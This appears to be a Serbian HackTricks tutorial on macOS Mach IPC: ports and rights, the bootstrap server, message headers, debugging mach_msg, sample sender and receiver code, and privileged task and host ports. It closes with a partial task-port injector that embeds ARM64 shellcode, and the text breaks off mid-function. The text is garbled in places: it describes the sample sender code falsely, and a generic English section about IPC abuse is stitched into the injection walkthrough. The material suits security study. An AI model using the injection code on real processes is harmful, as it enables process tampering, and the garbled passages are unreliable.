macOS IPC - Inter Process Communication

Pomozite HackTricks-u

Mach poruke putem portova

Osnovne informacije

Mach koristi taskove kao najmanju jedinicu za deljenje resursa, pri čemu svaki task može sadržati više niti. Ovi taskovi i niti su mapirani 1:1 na POSIX procese i niti.

Komunikacija između taskova se odvija putem Mach Inter-Process Communication (IPC), koristeći jednosmerne komunikacione kanale. Poruke se prenose između portova, koji deluju kao vrste redova poruka upravljanih od strane jezgra.

Port je osnovni element Mach IPC-a. Može se koristiti za slanje poruka i za njihovo primanje.

Svaki proces ima IPC tabelu, u kojoj je moguće pronaći mach portove procesa. Ime mach porta zapravo predstavlja broj (pokazivač na jezgrovni objekat).

Proces takođe može poslati ime porta sa određenim pravima drugom tasku i jezgro će napraviti ovaj unos u IPC tabeli drugog taska.

Prava na portovima

Prava na portovima, koja definišu koje operacije task može izvršiti, ključna su za ovu komunikaciju. Moguća prava na portovima su (definicije odavde):

  • Pravo na primanje, koje omogućava primanje poruka poslatih portu. Mach portovi su MPSC (multiple-producer, single-consumer) redovi, što znači da može postojati samo jedno pravo na primanje za svaki port u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore fajlova za čitanje sa jednog kraja cevi).

  • Task sa Pravom na primanje može primati poruke i kreirati Prava na slanje, omogućavajući mu slanje poruka. Originalno samo sopstveni task ima Pravo na primanje nad svojim portom.

  • Ako vlasnik Prava na primanje umre ili ga ubije, pravo na slanje postaje beskorisno (mrtvo ime).

  • Pravo na slanje, koje omogućava slanje poruka portu.

  • Pravo na slanje se može klonirati tako da task koji poseduje Pravo na slanje može klonirati pravo i dodeliti ga trećem tasku.

  • Imajte na umu da se prava na portovima takođe mogu prosleđivati putem Mac poruka.

  • Pravo na jednokratno slanje, koje omogućava slanje jedne poruke portu i zatim nestaje.

  • Ovo pravo ne može biti klonirano, ali se može premestiti.

  • Pravo na set portova, koje označava set portova umesto pojedinačnog porta. Skidanje poruke sa seta portova skida poruku sa jednog od portova koje sadrži. Set portova se može koristiti za osluškivanje više portova istovremeno, slično kao select/poll/epoll/kqueue u Unix-u.

  • Mrtvo ime, koje nije stvarno pravo na portu, već samo oznaka. Kada se port uništi, sva postojeća prava na portu postaju mrtva imena.

Taskovi mogu preneti SEND prava drugima, omogućavajući im da pošalju poruke nazad. SEND prava takođe mogu biti klonirana, tako da task može duplicirati pravo i dati ga trećem tasku. Ovo, zajedno sa posredničkim procesom poznatim kao bootstrap server, omogućava efikasnu komunikaciju između taskova.

Portovi fajlova

Portovi fajlova omogućavaju da se deskriptori fajlova enkapsuliraju u Mac portove (koristeći prava na Mach portovima). Moguće je kreirati fileport od datog FD koristeći fileport_makeport i kreirati FD iz fileporta koristeći fileport_makefd.

Uspostavljanje komunikacije

Kao što je ranije pomenuto, moguće je slati prava korišćenjem Mach poruka, međutim, ne možete poslati pravo bez već postojećeg prava za slanje Mach poruke. Kako se onda uspostavlja prva komunikacija?

Za to je uključen bootstrap server (launchd na Mac-u), pošto svako može dobiti SEND pravo ka bootstrap serveru, moguće je zatražiti od njega pravo da se pošalje poruka drugom procesu:

  1. Task A kreira novi port, dobijajući PRIMI right nad njim.

  2. Task A, kao nosilac PRIMI prava, generiše SEND pravo za port.

  3. Task A uspostavlja vezu sa bootstrap serverom, i šalje mu SEND pravo za port koji je generisao na početku.

  • Zapamtite da svako može dobiti SEND pravo ka bootstrap serveru.

  1. Task A šalje poruku bootstrap_register bootstrap serveru da poveže dati port sa imenom kao što je com.apple.taska

  2. Task B interaguje sa bootstrap serverom da izvrši bootstrap pretragu za imenom servisa (bootstrap_lookup). Da bi bootstrap server mogao da odgovori, task B će mu poslati SEND pravo ka portu koji je prethodno kreirao unutar poruke pretrage. Ako je pretraga uspešna, server duplira SEND pravo primljeno od Task A i prebacuje ga Task B.

  • Zapamtite da svako može dobiti SEND pravo ka bootstrap serveru.

  1. Sa ovim SEND pravom, Task B je sposoban da pošalje poruku Task A.

  2. Za dvosmernu komunikaciju obično task B generiše novi port sa PRIMI pravom i SEND pravom, i daje SEND pravo Task A tako da može slati poruke TASK B (dvosmerna komunikacija).

Bootstrap server ne može autentifikovati ime servisa koje tvrdi task. Ovo znači da bi task potencijalno mogao predstavljati bilo koji sistemski task, kao što je lažno tvrditi ime autorizacionog servisa a zatim odobravati svaki zahtev.

Zatim, Apple čuva imena sistema pruženih servisa u sigurnim konfiguracionim fajlovima, smeštenim u SIP-zaštićenim direktorijumima: /System/Library/LaunchDaemons i /System/Library/LaunchAgents. Pored svakog imena servisa, takođe je sačuvana povezana binarna datoteka. Bootstrap server će kreirati i držati PRIMI pravo za svako od ovih imena servisa.

Za ove unapred definisane servise, proces pretrage se malo razlikuje. Kada se traži ime servisa, launchd pokreće servis dinamički. Novi tok rada je sledeći:

  • Task B pokreće bootstrap pretragu za imenom servisa.

  • launchd proverava da li je task pokrenut i ako nije, ga pokreće.

  • Task A (servis) izvršava bootstrap check-in (bootstrap_check_in()). Ovde, bootstrap server kreira SEND pravo, zadržava ga, i prebacuje PRIMI pravo Task A.

  • launchd duplira SEND pravo i šalje ga Task B.

  • Task B generiše novi port sa PRIMI pravom i SEND pravom, i daje SEND pravo Task A (servisu) tako da može slati poruke TASK B (dvosmerna komunikacija).

Međutim, ovaj proces se odnosi samo na unapred definisane sistemski taskove. Ne-sistemski taskovi i dalje funkcionišu kao što je opisano originalno, što bi potencijalno moglo omogućiti za predstavljanje.

Stoga, launchd nikada ne bi trebalo da se sruši ili će ceo sistem pasti.

Mach poruka

Pronađi više informacija ovde

Funkcija mach_msg, suštinski sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka bude poslata kao početni argument. Ova poruka mora početi sa strukturom mach_msg_header_t, a zatim sledi stvarni sadržaj poruke. Struktura je definisana na sledeći način:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Procesi koji poseduju pravo na prijem mogu primati poruke na Mach portu. Nasuprot tome, pošiljaoci imaju dozvolu za slanje ili jednokratno slanje. Pravo jednokratnog slanja je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.

Početno polje msgh_bits je mapa bitova:

  • Prvi bit (najznačajniji) se koristi za označavanje da je poruka kompleksna (više o tome ispod)

    1. i 4. bit se koriste od strane jezgra

  • 5 najmanje značajnih bitova 2. bajta mogu se koristiti za vaučer: druga vrsta porta za slanje kombinacija ključ/vrednost.

  • 5 najmanje značajnih bitova 3. bajta mogu se koristiti za lokalni port

  • 5 najmanje značajnih bitova 4. bajta mogu se koristiti za udaljeni port

Tipovi koji se mogu navesti u vaučeru, lokalnim i udaljenim portovima su (iz mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Na primer, MACH_MSG_TYPE_MAKE_SEND_ONCE može se koristiti da ukazuje da bi trebalo izvesti i preneti jednokratno slanje prava za ovaj port. Takođe se može specificirati MACH_PORT_NULL da bi se sprečilo da primalac može da odgovori.

Da bi se postigla jednostavna dvosmerna komunikacija, proces može specificirati mach port u mach zaglavlju poruke nazvan reply port (msgh_local_port) gde primalac poruke može poslati odgovor na ovu poruku.

Imajte na umu da se ovakva vrsta dvosmerne komunikacije koristi u XPC porukama koje očekuju odgovor (xpc_connection_send_message_with_reply i xpc_connection_send_message_with_reply_sync). Ali se obično stvaraju različiti portovi kako je objašnjeno ranije da bi se stvorila dvosmerna komunikacija.

Ostala polja zaglavlja poruke su:

  • msgh_size: veličina celog paketa.

  • msgh_remote_port: port preko kojeg je poslata ova poruka.

  • msgh_voucher_port: mach vaučeri.

  • msgh_id: ID ove poruke, koji tumači primalac.

Imajte na umu da se mach poruke šalju preko mach porta, koji je kanal komunikacije sa jednim primaocem, više pošiljalaca ugrađen u mach kernel. Više procesa može slati poruke na mach port, ali u svakom trenutku samo jedan proces može čitati iz njega.

Poruke se zatim formiraju mach_msg_header_t zaglavljem praćenim telom i trailerom (ako postoji) i može dozvoliti odobrenje za odgovor na nju. U tim slučajevima, kernel jednostavno treba da prosledi poruku iz jednog zadatka drugom.

Trailer je informacija dodata poruci od strane kernela (ne može je postaviti korisnik) koja se može zatražiti prilikom prijema poruke sa zastavicom MACH_RCV_TRAILER_<trailer_opt> (postoji različite informacije koje se mogu zatražiti).

Kompleksne Poruke

Međutim, postoje i druge više kompleksne poruke, poput onih koje prenose dodatna prava porta ili dele memoriju, gde kernel takođe mora da pošalje ove objekte primaocu. U ovim slučajevima, najznačajniji bit zaglavlja msgh_bits je postavljen.

Mogući deskriptori za prenos su definisani u mach/message.h:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

U 32 bitnom režimu, svi deskriptori su 12B i tip deskriptora je u 11. U 64 bitnom režimu, veličine variraju.

Kernel će kopirati deskriptore iz jednog zadatka u drugi, ali prvo kreira kopiju u jezgrovitoj memoriji. Ova tehnika, poznata kao "Feng Shui", zloupotrebljena je u nekoliko eksploatacija kako bi naterala kernel da kopira podatke u svojoj memoriji, omogućavajući procesu da šalje deskriptore sebi. Zatim proces može primati poruke (kernel će ih osloboditi).

Takođe je moguće poslati prava porta ranjivom procesu, i prava porta će se jednostavno pojaviti u procesu (čak i ako ih ne obrađuje).

Mac Ports API

Imajte na umu da su portovi povezani sa imenikom zadatka, pa prilikom kreiranja ili pretrage porta, takođe se pretražuje imenik zadatka (više u mach/mach_port.h):

  • mach_port_allocate | mach_port_construct: Kreirajte port.

  • mach_port_allocate takođe može kreirati skup portova: primi pravo nad grupom portova. Svaki put kada se primi poruka, naznačen je port sa kog je poslata.

  • mach_port_allocate_name: Promenite ime porta (podrazumevano je 32-bitni ceo broj)

  • mach_port_names: Dobijanje imena porta iz cilja

  • mach_port_type: Dobijanje prava zadatka nad imenom

  • mach_port_rename: Preimenujte port (kao dup2 za FD-ove)

  • mach_port_allocate: Alocirajte novi PRIMI, PORT_SET ili DEAD_NAME

  • mach_port_insert_right: Kreirajte novo pravo u portu gde imate PRIMI

  • mach_port_...

  • mach_msg | mach_msg_overwrite: Funkcije korišćene za slanje i primanje mach poruka. Verzija za prepisivanje omogućava da se navede drugi bafer za prijem poruke (druga verzija će ga jednostavno ponovo koristiti).

Debug mach_msg

Pošto su funkcije mach_msg i mach_msg_overwrite one koje se koriste za slanje i primanje poruka, postavljanje prekidača na njih omogućilo bi inspekciju poslatih i primljenih poruka.

Na primer, počnite sa debagovanjem bilo koje aplikacije koju možete debagovati jer će učitati libSystem.B koja će koristiti ovu funkciju.

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Dobijanje vrednosti iz registara:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

Pregledajte zaglavlje poruke proveravajući prvi argument:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

Taj tip mach_msg_bits_t je vrlo čest kako bi omogućio odgovor.

Nabroj portove

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

Ime je podrazumevano ime dodeljeno portu (proverite kako se povećava u prva 3 bajta). ipc-object je zamagljeni jedinstveni identifikator porta. Takođe obratite pažnju kako portovi sa samo send pravom identifikuju vlasnika (ime porta + pid). Takođe obratite pažnju na upotrebu + za označavanje drugih zadataka povezanih sa istim portom.

Takođe je moguće koristiti procesxp da biste videli i registrovana imena servisa (sa onemogućenim SIP-om zbog potrebe za com.apple.system-task-port):

procesp 1 ports

Možete instalirati ovaj alat u iOS preuzimanjem sa http://newosxbook.com/tools/binpack64-256.tar.gz

Primer koda

Obratite pažnju kako pošiljalac dodeljuje port, kreira send right za ime org.darlinghq.example i šalje ga bootstrap serveru dok je pošiljalac zatražio send right za to ime i koristio ga je da pošalje poruku.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Ovaj program demonstrira kako se može koristiti IPC za komunikaciju između procesa na macOS operativnom sistemu. Program kreira poruku i šalje je drugom procesu korišćenjem IPC mehanizma. Poruka sadrži informacije o trenutnom vremenu i datumu. Nakon slanja poruke, program čeka na odgovor od drugog procesa. Ako odgovor sadrži određeni ključ, program dobija privilegije za pristup određenim resursima na sistemu.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

Privilegovani portovi

Postoje neki posebni portovi koji omogućavaju izvođenje određenih osetljivih radnji ili pristup određenim osetljivim podacima u slučaju da zadaci imaju dozvole za slanje (SEND) nad njima. Ovo čini ove portove vrlo zanimljivim iz perspektive napadača ne samo zbog mogućnosti već i zato što je moguće deliti dozvole za slanje između zadataka.

Specijalni portovi domaćina

Ovi portovi su predstavljeni brojevima.

Prava za slanje (SEND) mogu se dobiti pozivanjem host_get_special_port i prava za primanje (RECEIVE) pozivanjem host_set_special_port. Međutim, oba poziva zahtevaju port host_priv koji može pristupiti samo root. Osim toga, u prošlosti je root mogao pozvati host_set_special_port i preuzeti proizvoljne koji su omogućavali na primer zaobilaženje potpisa koda preuzimanjem HOST_KEXTD_PORT (SIP sada sprečava ovo).

Oni su podeljeni u 2 grupe: Prvih 7 portova su u vlasništvu jezgra pri čemu je 1 HOST_PORT, 2 HOST_PRIV_PORT, 3 HOST_IO_MASTER_PORT, a 7 je HOST_MAX_SPECIAL_KERNEL_PORT. Oni koji počinju od broja 8 su u vlasništvu sistemskih demona i mogu se pronaći deklarisani u host_special_ports.h.

  • Host port: Ako proces ima privilegiju slanja (SEND) nad ovim portom, može dobiti informacije o sistemu pozivanjem njegovih rutina poput:

  • host_processor_info: Dobijanje informacija o procesoru

  • host_info: Dobijanje informacija o domaćinu

  • host_virtual_physical_table_info: Virtuelna/fizička tabela stranica (zahteva MACH_VMDEBUG)

  • host_statistics: Dobijanje statistika domaćina

  • mach_memory_info: Dobijanje rasporeda memorije jezgra

  • Host Priv port: Proces sa pravom slanja (SEND) nad ovim portom može izvršiti privilegovane radnje poput prikazivanja podataka o pokretanju ili pokušaja učitavanja proširenja jezgra. Proces mora biti root da bi dobio ovu dozvolu.

  • Osim toga, da bi pozvao kext_request API, potrebno je imati druge privilegije com.apple.private.kext* koje se dodeljuju samo Apple binarnim datotekama.

  • Druge rutine koje se mogu pozvati su:

  • host_get_boot_info: Dobijanje machine_boot_info()

  • host_priv_statistics: Dobijanje privilegovanih statistika

  • vm_allocate_cpm: Alokacija kontinualne fizičke memorije

  • host_processors: Pravo slanja domaćinima procesora

  • mach_vm_wire: Čini memoriju rezidentnom

  • Pošto root može pristupiti ovoj dozvoli, mogao bi pozvati host_set_[special/exception]_port[s] da preuzme specijalne ili izuzetne portove domaćina.

Moguće je videti sve specijalne portove domaćina pokretanjem:

procexp all ports | grep "HSP"

Zadaci Specijalnih Portova

Ovo su portovi rezervisani za dobro poznate servise. Moguće ih je dobiti/postaviti pozivanjem task_[get/set]_special_port. Mogu se pronaći u task_special_ports.h:

typedef	int	task_special_port_t;

#define TASK_KERNEL_PORT	1	/* Represents task to the outside
world.*/
#define TASK_HOST_PORT		2	/* The host (priv) port for task.  */
#define TASK_BOOTSTRAP_PORT	4	/* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT	5	/* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT	6	/* Paged resource ledger for task. */

Sa ovde:

  • TASK_KERNEL_PORT[task-self send right]: Port koji se koristi za kontrolu ovog zadatka. Koristi se za slanje poruka koje utiču na zadatak. Ovo je port koji vraća mach_task_self (vidi Task Ports ispod).

  • TASK_BOOTSTRAP_PORT[bootstrap send right]: Bootstrap port zadatka. Koristi se za slanje poruka koje zahtevaju povratak drugih sistema servisnih portova.

  • TASK_HOST_NAME_PORT[host-self send right]: Port koji se koristi za zahtevanje informacija o sadržaju domaćina. Ovo je port koji vraća mach_host_self.

  • TASK_WIRED_LEDGER_PORT[ledger send right]: Port koji imenuje izvor iz kojeg ovaj zadatak crpi svoju žičanu jezgru memorije.

  • TASK_PAGED_LEDGER_PORT[ledger send right]: Port koji imenuje izvor iz kojeg ovaj zadatak crpi svoju podrazumevanu memoriju upravljane memorije.

Task Ports

Originalno, Mach nije imao "procese", već "zadatke" koji su se smatrali više kao kontejneri niti. Kada je Mach spojen sa BSD svaki zadatak je bio povezan sa BSD procesom. Stoga, svaki BSD proces ima detalje potrebne da bude proces, a svaki Mach zadatak takođe ima svoje unutrašnje funkcije (osim nepostojećeg pid 0 koji je kernel_task).

Postoje dve veoma interesantne funkcije koje su povezane sa ovim:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): Dobijanje SEND prava za zadatak povezan sa određenim pid i davanje toga prava određenom target_task_port (koji je obično pozivački zadatak koji je koristio mach_task_self(), ali može biti SEND port preko drugog zadatka.)

  • pid_for_task(task, &pid): Dajući SEND pravo zadatku, pronađi sa kojim PID-om je taj zadatak povezan.

Da bi izvršio radnje unutar zadatka, zadatak je trebao SEND pravo sebi pozivajući mach_task_self() (koji koristi task_self_trap (28)). Sa ovlašćenjem, zadatak može izvršiti nekoliko radnji kao što su:

  • task_threads: Dobijanje SEND prava nad svim zadacima niti zadatka

  • task_info: Dobijanje informacija o zadatku

  • task_suspend/resume: Pauziranje ili nastavljanje zadatka

  • task_[get/set]_special_port

  • thread_create: Kreiranje niti

  • task_[get/set]_state: Kontrola stanja zadatka

  • i još se može naći u mach/task.h

Primetite da sa SEND pravom nad zadatkom drugog zadatka, moguće je izvršiti takve radnje nad drugim zadatkom.

Osim toga, task_port je takođe vm_map port koji omogućava čitanje i manipulaciju memorijom unutar zadatka pomoću funkcija poput vm_read() i vm_write(). To u osnovi znači da će zadatak sa SEND pravima nad task_portom drugog zadatka biti u mogućnosti da ubaci kod u taj zadatak.

Zapamtite da je kernel takođe zadatak, ako neko uspe da dobije SEND dozvole nad kernel_task, biće u mogućnosti da natera kernel da izvrši bilo šta (jailbreaks).

  • Pozovi mach_task_self() da dobiješ ime za ovaj port za pozivački zadatak. Ovaj port se nasleđuje samo preko exec(); novi zadatak kreiran sa fork() dobija novi zadatak port (kao poseban slučaj, zadatak takođe dobija novi zadatak port nakon exec() u suid binarnom fajlu). Jedini način da pokreneš zadatak i dobiješ njegov port je da izvedeš "port swap dance" dok radiš fork().

  • Ovo su ograničenja za pristup portu (iz macos_task_policy iz binarnog fajla AppleMobileFileIntegrity):

  • Ako aplikacija ima com.apple.security.get-task-allow privilegiju procesi od iste korisnika mogu pristupiti zadatkovom portu (obično dodato od strane Xcode-a za debagovanje). Proces notarizacije neće dozvoliti to u produkcijskim verzijama.

  • Aplikacije sa com.apple.system-task-ports privilegijom mogu dobiti zadatkov port za bilo koji proces, osim kernela. U starijim verzijama se zvalo task_for_pid-allow. Ovo je dozvoljeno samo Apple aplikacijama.

  • Root može pristupiti zadatkovim portovima aplikacija koje nisu kompajlovane sa hardened runtime-om (i ne od strane Apple-a).

Port imena zadatka: Neovlašćena verzija zadatkovog porta. Referiše na zadatak, ali ne dozvoljava kontrolu. Jedina stvar koja se čini dostupnom kroz njega je task_info().

Portovi niti

Niti takođe imaju povezane portove, koji su vidljivi iz zadatka koji poziva task_threads i iz procesora sa processor_set_threads. SEND pravo na port niti omogućava korišćenje funkcija iz podsistema thread_act, kao što su:

  • thread_terminate

  • thread_[get/set]_state

  • act_[get/set]_state

  • thread_[suspend/resume]

  • thread_info

  • ...

Bilo koja nit može dobiti ovaj port pozivom mach_thread_sef.

Ubacivanje shell koda u nit putem zadatkovog porta

Možeš preuzeti shell kod sa:

Introduction to ARM64v8
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

macOS IPC - Inter-Process Communication

macOS IPC - Inter-Process Communication

Inter-process communication (IPC) is a set of methods for the exchange of data among multiple threads in one or more processes. macOS provides several IPC mechanisms, such as Mach ports, XPC services, and UNIX domain sockets. These mechanisms can be abused by malicious actors to escalate privileges or perform other unauthorized actions on a system.

Mach Ports

Mach ports are low-level communication endpoints used by processes to send and receive messages. They can be used for inter-process communication within a single system or between different systems. Malicious actors can abuse Mach ports to intercept sensitive data or manipulate inter-process communication to their advantage.

XPC Services

XPC services allow processes to communicate with each other securely. However, if not properly configured, they can be exploited by attackers to execute arbitrary code or escalate privileges. It is essential to review and secure XPC services to prevent unauthorized access and privilege escalation.

UNIX Domain Sockets

UNIX domain sockets enable communication between processes on the same system. They can be misused by threat actors to bypass security mechanisms and gain unauthorized access to sensitive resources. Securing UNIX domain sockets is crucial to protect against IPC-based attacks.

To enhance the security of macOS systems, it is important to understand how IPC mechanisms work and implement proper controls to prevent abuse by malicious entities. Regular security assessments and monitoring can help detect and mitigate potential IPC-related vulnerabilities.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Kompajlujte prethodni program i dodajte ovlašćenja kako biste mogli da ubacite kod sa istim korisnikom (ako ne, moraćete koristiti sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

